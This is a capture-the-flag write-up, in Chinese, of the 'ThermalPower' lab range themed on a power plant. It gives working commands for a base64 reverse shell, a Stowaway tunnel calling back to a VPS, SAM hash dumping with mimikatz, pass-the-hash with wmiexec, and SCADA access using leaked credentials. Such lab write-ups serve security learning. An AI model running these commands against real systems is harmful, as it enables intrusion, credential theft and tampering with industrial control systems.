ThermalPower:火力发电
外网打点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| fscan启动 ./fscan -h 39.99.145.59
[+] 端口开放 39.99.145.59:22 [+] 端口开放 39.99.145.59:8080 [+] 存活端口数量: 2 [*] 开始漏洞扫描... [*] 网站标题 http://39.99.145.59:8080 状态码:302 长度:0 标题:无标题 重定向地址: http://39.99.145.59:8080/login;jsessionid=F7C03838F004ADC45C3794406161CD37 [*] 网站标题 http://39.99.145.59:8080/login;jsessionid=F7C03838F004ADC45C3794406161CD37 状态码:200 长度:2936 标题:火创能源监控画面管理平台 [+] [发现漏洞] 目标: http://39.99.145.59:8080 漏洞类型: poc-yaml-spring-actuator-heapdump-file 漏洞名称: 详细信息: %!s(<nil>) [+] [发现漏洞] 目标: http://39.99.145.59:8080 漏洞类型: poc-yaml-springboot-env-unauth 漏洞名称: spring2 详细信息: %!s(<nil>)
|
典中典i春秋heapdump
泄露,heapdump
可能的路径如下
1 2 3
| /heapdump /Actuator/heapdump /actuator/heapdump
|
/actuator/heapdump
下载下来,分析找到shirokey
1 2 3 4 5 6 7 8
| java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar heapdump
=========================================== CookieRememberMeManager(ShiroKey) ------------- algMode = CBC, key = QZYysgMYhG6/CzIJlVpR2g==, algName = AES
===========================================
|


连提权都免了,直接反弹shell
1 2 3 4 5 6 7
| 编码的原因无法直接弹 echo YmFzaCAtaSA+JiDkuI3lh4bmuq/mupDmiJEgMD4mMQ== > /tmp/1.sh base64 -d /tmp/1.sh > /tmp/2.sh /tmp/2.sh
//这个是网上偷的 bash -c '{echo,YmFzaCAtaSA+JiDkuI3lh4bmuq/mupDmiJEgMD4mMQ==}|{base64,-d}|{bash,-i}'
|
1
| flag{91d20f3d-c23e-4082-bc4c-836240908623}
|
内网代理搭建
1 2 3 4 5 6 7 8 9 10
| 跳板机 cd /tmp wget https://gh-proxy.ygxz.in/https://github.com/ph4ntonn/Stowaway/releases/download/v2.2/linux_x64_agent chmod +x linux_x64_agent ./linux_x64_agent -c Vps-ip:1234 -s 123 --reconnect 8
Vps端 ./Stowaway_admin -l 1234 -s 123 use 0 socks 6666
|


内网信息收集
下发`fscan`
1 2 3 4 5
| 找一个github加速下载fscan扫描C段 cd /tmp wget https://gh-proxy.ygxz.in/https://github.com/shadow1ng/fscan/releases/download/1.8.4/fscan chmod +x fscan ./fscan -h 172.22.17.213/24
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| start infoscan (icmp) Target 172.22.17.6 is alive (icmp) Target 172.22.17.213 is alive [*] Icmp alive hosts len is: 2 172.22.17.6:21 open 172.22.17.6:139 open 172.22.17.6:135 open 172.22.17.213:8080 open 172.22.17.6:80 open 172.22.17.6:445 open 172.22.17.213:22 open [*] alive ports len is: 7 start vulscan [*] NetInfo [*]172.22.17.6 [->]WIN-ENGINEER [->]172.22.17.6 [+] ftp 172.22.17.6:21:anonymous [->]Modbus [->]PLC [->]web.config [->]WinCC [->]内部软件 [->]火创能源内部资料 [*] WebTitle http://172.22.17.6 code:200 len:661 title:172.22.17.6 - /
|
1 2 3
| 172.22.17.6 有一个匿名FTP,还有web端 172.22.17.213 当前这台 还有很多敏感文件
|
内网打点-个人PC

密码喷洒172.22.17.6
,发现SCADA工程师的账号都可以登录
权限太低,根据提示滥用 Windows 特权组提权

chenhua
属于Backup Operators
,默认情况下会授予该组 SeBackup 和 SeRestore 权限,现在居然没有😅
PSBits/Misc/EnableSeBackupPrivilege.ps1 at master · gtworek/PSBits 强开失败😅
之后发现,需要用管理员打开PowerShell就行了🤕

通过SAM数据库获得导出Hash
1 2 3 4 5 6 7 8 9
| sam文件:是用来存储本地用户账号密码的文件的数据库 system文件:里面有对sam文件进行加密和加密的密钥
SAM文件路径:%SystemRoot%\system32\config SYSTEM文件路径:%SystemRoot%\system32\config
mkdir C:\Temp 导出sam reg save hklm\sam C:\Temp 导出system reg save hklm\system C:\Temp
|
注意这里必须命名为 C:\Temp
,因为Temp
才是临时文件夹
直接用mimikatz
解密Hash
1
| lsadump::sam /sam:sam /system:system
|

用<font style="color:rgb(0, 0, 0);">wmiexec.py</font>
进行PTH
1
| python wmiexec.py administrator@172.22.17.6 -hashes :f82292b7ac79b05d5b0e3d302bd0d279 -codec gbk
|

1
| flag{738ff3d6-ce22-4566-a5c4-052af27b0fbb}
|
内网打点-工控系统
根据前面收集的:火创能源内部资料/SCADA.txt,对26这个段进行扫描,发现只开放一台`172.22.26.11`
RDP上去点开锅炉就有Flag
了
1 2 3
| WIN-SCADA: 172.22.26.xx Username: Administrator Password: IYnT3GyCiy3
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| (icmp) Target 172.22.26.11 is alive [*] Icmp alive hosts len is: 1 172.22.26.11:1433 open 172.22.26.11:445 open 172.22.26.11:139 open 172.22.26.11:135 open 172.22.26.11:80 open [*] alive ports len is: 5 start vulscan [*] NetBios: 172.22.26.11 WORKGROUP\WIN-SCADA [*] NetInfo: [*]172.22.26.11 [->]WIN-SCADA [->]172.22.26.11 [+] mssql:172.22.26.11:1433:sa 123456 [*] WebTitle: http://172.22.26.11 code:200 len:703 title:IIS Windows Server 已完成 5/5 [*] 扫描结束,耗时: 5.730632575s
|
1
| flag{bcd080d5-2cf1-4095-ac15-fa4bef9ca1c0}
|

打开一看,已经被勒索了,下面就是逆向和解密,都不怎么会,靠北了T-T😭😭😭,书到用时方恨少,只能抄别人的Wp文章 - 春秋云境-ThermalPower - 先知社区

1
| flag{63cd8cd5-151f-4f29-bdc7-f80312888158}
|
参考
【THM】Windows Privilege Escalation(Windows提权基础)-学习 - Hekeatsll - 博客园
文章 - 春秋云境-ThermalPower - 先知社区